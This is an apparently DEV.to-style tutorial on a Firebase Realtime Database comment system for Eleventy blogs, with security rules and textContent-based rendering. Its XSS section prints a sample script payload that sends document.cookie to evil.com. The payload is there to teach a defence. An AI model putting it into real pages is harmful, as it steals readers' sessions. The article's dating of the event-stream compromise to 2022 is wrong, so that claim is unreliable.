We build lightning-fast static sites on Eleventy (11ty), fight for every millisecond in Google PageSpeed - and then sabotage our own speed and security. How? By dropping a third-party <script> for a comment widget onto the page.
This guide walks through building a self-hosted, serverless comment system on Firebase Realtime Database: zero external scripts, zero cost, and complete XSS protection.
TL;DR
- Problem: third-party widgets (Disqus, Utterances) slow your site and introduce Supply Chain Attack risk.
- Solution: Firebase Realtime Database - free, real-time, no third-party scripts.
- Security: server-side Security Rules +
textContentinstead ofinnerHTMLon the frontend.- Spark Plan (free tier): 1 GB storage Β· 10 GB/month transfer Β· 100 simultaneous connections.
- Time to implement: 2-4 hours with basic JavaScript knowledge.
π¦ Full Source Code
The complete working implementation is available on GitHub:
bodikinf
/
hermes-jamstack-showcase
Autonomous AI SEO Engineer for Jamstack blogs (DEV.to Challenge Showcase)
π€ Hermes Agent & Serverless Blog Architecture
This repository is a showcase for the Hermes Agent Challenge on DEV.to and a demonstration of modern, secure Jamstack architecture.
It features a production-ready, hybrid AI architecture where a local Node.js script acts as an autonomous digital worker optimizing SEO for an Eleventy (11ty) blog, alongside a custom-built, highly secure serverless comments system.
π Key Features
π€ Autonomous SEO Agent (Hermes)
-
Multilingual AI Auditing: Automatically detects the language based on the directory (
/postsfor Ukrainian,/en/postsfor English) and forces the AI to generate localized meta tags. -
Idempotence ("Do No Harm"): The agent uses
gray-matterto parse Front Matter safely. It only updates files that are missing theai_summaryordescriptionfields. -
Fault Tolerance: Built-in
try...catchloops with emergency sleep protocols to handle503 Service UnavailableAPI errors without crashing. - Strict JSON Output: Uses advanced prompt engineering to force Gemini 2.5 Flashβ¦
Feel free to fork it, adapt the Firebase config to your own project, and follow along as we break down each part below.
Why Third-Party Comment Widgets Kill Your Blog
Supply Chain Attack: The Invisible Threat
An external comment widget is third-party code executing with full privileges on your domain. Here's the attack vector:
- Hackers compromise the CDN or npm package of a widget provider (Disqus, Hyvor Talk).
- A malicious script is injected into the distribution.
- On the next page load, that code runs in every reader's browser.
- Result: stolen cookies, redirects, crypto mining.
This isn't theoretical. In 2022, the compromise of the event-stream npm package affected over 8 million projects.
Real Impact on PageSpeed and SEO
Disqus loads an average of 10-15 external requests and 400-600 KB of JavaScript. Google PageSpeed Insights directly ties these metrics to search ranking.
Comparison with Alternatives
| Solution | Price | Trackers | XSS Risk | Data Control |
|---|---|---|---|---|
| Disqus | $0 / $11+/mo | β Yes (ads) | β οΈ Medium | β None |
| Utterances (GitHub) | $0 | β None | β οΈ Medium | β οΈ Partial |
| Hyvor Talk | $7+/mo | β None | β οΈ Medium | β None |
| Firebase (self-hosted) | $0 | β None | β Minimal | β Full |
Step 1. Why Firebase Realtime Database?
Spinning up a dedicated backend (PHP + MySQL) for a static blog is a waste of resources. Firebase Realtime Database solves this elegantly:
- π‘οΈ Zero SQL injections. NoSQL stored as a JSON tree -
DROP TABLEis physically impossible. - π° Free Spark Plan: 1 GB storage, 10 GB/month transfer, 100 simultaneous connections, 400K read/write ops per day.
- β‘ Real-time. Data loads over WebSocket with no page refresh.
- π Server-side validation. Security Rules run on Google's infrastructure - they cannot be bypassed by client-side code.
Step 2. Setting Up the Firebase Project
- Go to console.firebase.google.com and create a new project.
- Choose Build β Realtime Database β Create Database.
- Select a region closest to your audience (
us-central1oreurope-west1). - Start in Test Mode - we'll lock it down in the next step.
- Copy your
databaseURL- you'll need it for the SDK. - In Project Settings β General β Your apps, add a web app and copy the config:
const firebaseConfig = {
apiKey: "YOUR_API_KEY",
authDomain: "your-project.firebaseapp.com",
databaseURL: "https://your-project-default-rtdb.firebaseio.com",
projectId: "your-project",
storageBucket: "your-project.appspot.com",
messagingSenderId: "000000000000",
appId: "1:000000000000:web:xxxxxxxxxxxx"
};
π See how this config is wired into the full project in the repo.
Step 3. Backend Armor: Firebase Security Rules
The weakest link in any open database is bots and spammers. Open Realtime Database β Rules and replace the contents with:
{
"rules": {
"comments": {
"$postId": {
"$commentId": {
".read": true,
".write": "!data.exists()",
".validate": "newData.hasChildren(['name', 'text', 'timestamp'])
&& newData.child('name').isString()
&& newData.child('name').val().length >= 1
&& newData.child('name').val().length <= 50
&& newData.child('text').isString()
&& newData.child('text').val().length >= 1
&& newData.child('text').val().length <= 1000
&& newData.child('timestamp').isNumber()
&& newData.child('timestamp').val() <= now"
}
}
}
}
}
Breaking Down Each Rule
| Rule | What it protects against |
|---|---|
".write": "!data.exists()" |
Prevents editing or deleting already-saved comments |
name.length <= 50 |
Blocks spam with megabyte-long display names |
text.length <= 1000 |
Caps comment size - protection against flooding |
isString() |
Blocks arrays, objects, or numbers sent instead of text |
timestamp <= now |
Blocks comments with a future timestamp |
β οΈ Key point: these rules execute on Google's servers and cannot be bypassed even if someone has direct access to your JavaScript in the browser.
Step 4. Frontend XSS Protection
The biggest risk for any comment system is XSS (Cross-Site Scripting). An attacker types this into your form:
<script>document.location='https://evil.com/?c='+document.cookie</script>
If the browser executes it, every reader's session data is compromised.
Why textContent Is Safer Than innerHTML
// β DANGEROUS - the browser parses and executes the HTML
element.innerHTML = userInput;
// β
SAFE - the browser treats the content as plain text only
element.textContent = userInput;
Full Comment Rendering Function
function renderComment(commentData, commentId) {
const li = document.createElement('li');
li.dataset.id = commentId;
const header = document.createElement('div');
header.className = 'comment-header';
const name = document.createElement('strong');
name.textContent = commentData.name; // textContent - no script will ever execute
const date = document.createElement('time');
const ts = new Date(commentData.timestamp);
date.textContent = ts.toLocaleDateString('en-US', {
day: 'numeric', month: 'long', year: 'numeric'
});
date.setAttribute('datetime', ts.toISOString());
const text = document.createElement('p');
text.textContent = commentData.text; // textContent - XSS is impossible
const replyBtn = document.createElement('button');
replyBtn.textContent = 'Reply';
replyBtn.className = 'reply-btn';
replyBtn.addEventListener('click', () => prefillReply(commentData.name));
header.appendChild(name);
header.appendChild(date);
li.appendChild(header);
li.appendChild(text);
li.appendChild(replyBtn);
return li;
}
Thanks to textContent, even a fully crafted XSS payload renders as a harmless string of characters on screen.
Sending a Comment to Firebase
import { initializeApp } from 'https://www.gstatic.com/firebasejs/10.12.0/firebase-app.js';
import { getDatabase, ref, push, onValue } from 'https://www.gstatic.com/firebasejs/10.12.0/firebase-database.js';
const app = initializeApp(firebaseConfig);
const db = getDatabase(app);
async function submitComment(postId, name, text) {
const commentsRef = ref(db, `comments/${postId}`);
await push(commentsRef, {
name: name.trim().substring(0, 50),
text: text.trim().substring(0, 1000),
timestamp: Date.now()
});
}
function loadComments(postId) {
const commentsRef = ref(db, `comments/${postId}`);
const list = document.getElementById('comments-list');
onValue(commentsRef, (snapshot) => {
list.innerHTML = ''; // The only allowed innerHTML - clearing the container
snapshot.forEach((child) => {
list.appendChild(renderComment(child.val(), child.key));
});
});
}
Step 5. UX: Native Emoji and Flat-Threading
Emoji Without Libraries
Instead of a heavy emoji-picker library, a simple placeholder hint does the job:
<textarea
id="comment-text"
placeholder="Your comment... Emoji: Win + . or Cmd + Ctrl + Space"
maxlength="1000"
></textarea>
Readers use the native OS keyboard shortcut. This weighs 0 bytes and introduces zero vulnerabilities.
Flat-Threading Reply System
function prefillReply(authorName) {
const form = document.getElementById('comment-form');
const input = document.getElementById('comment-text');
// Smooth scroll to the form
form.scrollIntoView({ behavior: 'smooth', block: 'center' });
// Prepend @mention
const mention = `@${authorName}, `;
input.value = input.value.startsWith(mention) ? input.value : mention + input.value;
input.focus();
}
Results and Metrics
| Metric | Before (Disqus) | After (Firebase) |
|---|---|---|
| External requests | 12-15 | 0 |
| Comment JS payload | ~480 KB | ~18 KB (Firebase SDK) |
| Data ownership | None | 100% |
| Monthly cost | $0-$11 | $0 |
| XSS attack surface | Present | Eliminated |
FAQ
Is the free Firebase Spark Plan enough for an active blog?
Yes. A single JSON comment averages 300-500 bytes, so 1 GB holds roughly 2-3 million comments. Even for a high-traffic blog, the free tier lasts for years.
Can someone overwrite another user's comment?
No. The rule ".write": "!data.exists()" prevents overwriting any existing record. Only you, as the project owner via Firebase Console, can delete or edit comments. Client-side code has no delete access.
Do readers need to register to comment?
Not in this implementation - only a display name and text. If you need auth, Firebase Authentication (Google, GitHub OAuth) plugs into the same database without changing the Security Rules.
How do you block spam bots without a CAPTCHA?
Firebase Security Rules (length limits, type enforcement, timestamp validation) combined with an HTML honeypot field - a hidden input that bots fill but humans never see - is enough protection for most blogs with no extra services.
Conclusion
A few hours of work gets you a comment system that loads instantly, carries zero ad trackers, and costs exactly $0. It's the right approach for developers who value independence and ownership of their own data.
The full working implementation - Security Rules, frontend JS, and HTML form - is in the repo:
bodikinf
/
hermes-jamstack-showcase
Autonomous AI SEO Engineer for Jamstack blogs (DEV.to Challenge Showcase)
π€ Hermes Agent & Serverless Blog Architecture
This repository is a showcase for the Hermes Agent Challenge on DEV.to and a demonstration of modern, secure Jamstack architecture.
It features a production-ready, hybrid AI architecture where a local Node.js script acts as an autonomous digital worker optimizing SEO for an Eleventy (11ty) blog, alongside a custom-built, highly secure serverless comments system.
π Key Features
π€ Autonomous SEO Agent (Hermes)
-
Multilingual AI Auditing: Automatically detects the language based on the directory (
/postsfor Ukrainian,/en/postsfor English) and forces the AI to generate localized meta tags. -
Idempotence ("Do No Harm"): The agent uses
gray-matterto parse Front Matter safely. It only updates files that are missing theai_summaryordescriptionfields. -
Fault Tolerance: Built-in
try...catchloops with emergency sleep protocols to handle503 Service UnavailableAPI errors without crashing. - Strict JSON Output: Uses advanced prompt engineering to force Gemini 2.5 Flashβ¦
Drop a comment below if you run into any issues or have questions about adapting it to your stack. π
Top comments (0)